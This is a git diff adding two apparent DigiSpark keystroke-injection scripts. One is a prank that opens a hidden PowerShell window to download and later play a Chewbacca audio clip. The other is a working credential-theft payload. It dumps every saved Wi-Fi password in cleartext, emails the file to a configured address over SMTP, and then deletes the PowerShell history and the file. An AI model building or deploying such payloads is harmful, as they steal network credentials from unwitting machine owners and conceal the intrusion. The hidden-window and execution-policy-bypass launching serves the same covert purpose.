diff --git a/Hi_Chewy/Chewbacca.wav b/Hi_Chewy/Chewbacca.wav new file mode 100644 index 0000000..c0d0d77 Binary files /dev/null and b/Hi_Chewy/Chewbacca.wav differ diff --git a/Hi_Chewy/Hi_Chewy.ino b/Hi_Chewy/Hi_Chewy.ino new file mode 100644 index 0000000..2637a18 --- /dev/null +++ b/Hi_Chewy/Hi_Chewy.ino @@ -0,0 +1,31 @@ +//Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then +//waits 5 minutes and plays it + +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("start-sleep 300;")); + DigiKeyboard.print(F("irm -uri \"https://github.com/apsecdev/DigiSpark-Scripts/blob/master/Hi_Chewy/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";")); + DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;")); + DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";")); + DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;")); + DigiKeyboard.print(F("$wmplayer.Open($filepath);")); + DigiKeyboard.print(F("Start-Sleep 2;")); + DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;")); + DigiKeyboard.print(F("$wmplayer.Play();")); + DigiKeyboard.print(F("Start-Sleep $duration;")); + DigiKeyboard.print(F("$wmplayer.Stop();")); + DigiKeyboard.print(F("$wmplayer.Close();")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +} diff --git a/Hi_Chewy/README.md b/Hi_Chewy/README.md new file mode 100644 index 0000000..6db8f92 --- /dev/null +++ b/Hi_Chewy/README.md @@ -0,0 +1 @@ +Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, waits 5 minutes and then plays it. diff --git a/WiFi_Profile_Mailer/README.md b/WiFi_Profile_Mailer/README.md index 6ed0c19..c6e55b9 100644 --- a/WiFi_Profile_Mailer/README.md +++ b/WiFi_Profile_Mailer/README.md @@ -3,3 +3,6 @@ Use for Windows 7/8/8.1/Older Builds of Windows 10 ### WiFi_Profile_Mailer_New.ino Use for newer builds of Windows 10 + +### WiFi_Profile_Mailer_Update.ino +Use for newer builds of Windows 10 w/ debug mode & user variables diff --git a/WiFi_Profile_Mailer/Wifi_Profile_Mailer_Update.ino b/WiFi_Profile_Mailer/Wifi_Profile_Mailer_Update.ino new file mode 100644 index 0000000..401e31e --- /dev/null +++ b/WiFi_Profile_Mailer/Wifi_Profile_Mailer_Update.ino @@ -0,0 +1,99 @@ +//This DigiSpark script writes the wireless network credentials to a csv file and emails it. +//Credits to p0wc0w. + +//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 +//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should +//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions +//of Windows or simply older builds of Windows 10, the other version works like a charm. + +//Update Notes: +//As this is a longer script, powershell config has changed to lessen the on screen footprint. +//Debug "mode" has been added for troubleshooting user settings +//User Variables section added with comments +//Cred handling moved to securestring as that seems to be more reliable with many smtp providers + +//If you are using gmail, you MUST enable "Less Secure App Access" in your user account settings or this will fail. + +#include "DigiKeyboard.h" +void setup() { +} + +//uncomment to run live + char mode[] = "powershell -nop -win h -noni -exec bypass"; + char separator[] = "exit"; +//end live + +//uncomment to debug +// char mode[] = "powershell -nop -exec bypass"; +// char separator[] = "read-host"; +// end debug + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print(mode); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(5000); + +// User variables start + + //from email address: + DigiKeyboard.print(F("$email = \"YOUREMAIL@gmail.com\";")); + //to email address + DigiKeyboard.print(F("$addressee = \"TOEMAIL@DOMAIN.TLD\";")); + //if you want to change the path of the temp csv file + DigiKeyboard.print(F("$tempcsv = \"$env:userprofile\\temp.csv\";")); + //'from address' email account password + DigiKeyboard.print(F("$pass = \"YOUREMAIL_PASSWORD\";")); + //smtp server + DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";")); + //smtp server port + DigiKeyboard.print(F("$port = \"587\";")); + +// User variables end + + DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;")); + DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;")); + DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;")); + DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);")); + DigiKeyboard.print(F("$smtp.EnableSsl = $true;")); + DigiKeyboard.print(F("$msg.From = \"$email\";")); + DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");")); + DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");")); + DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;")); + DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;")); + DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;")); + DigiKeyboard.print(F("$msg.Subject = \"Digi-WP-Mail Form\";")); + DigiKeyboard.print(F("$msg.Body = \"

CSV Wifi Profile Info


See attached...\"; ")); + DigiKeyboard.print(F("$SMTP.Credentials = $cred;")); + DigiKeyboard.print(F("$smtp.Send($msg);")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(separator); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print(mode); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("rm \"$env:userprofile\\temp.csv\"")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(100); + DigiKeyboard.print(separator); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +}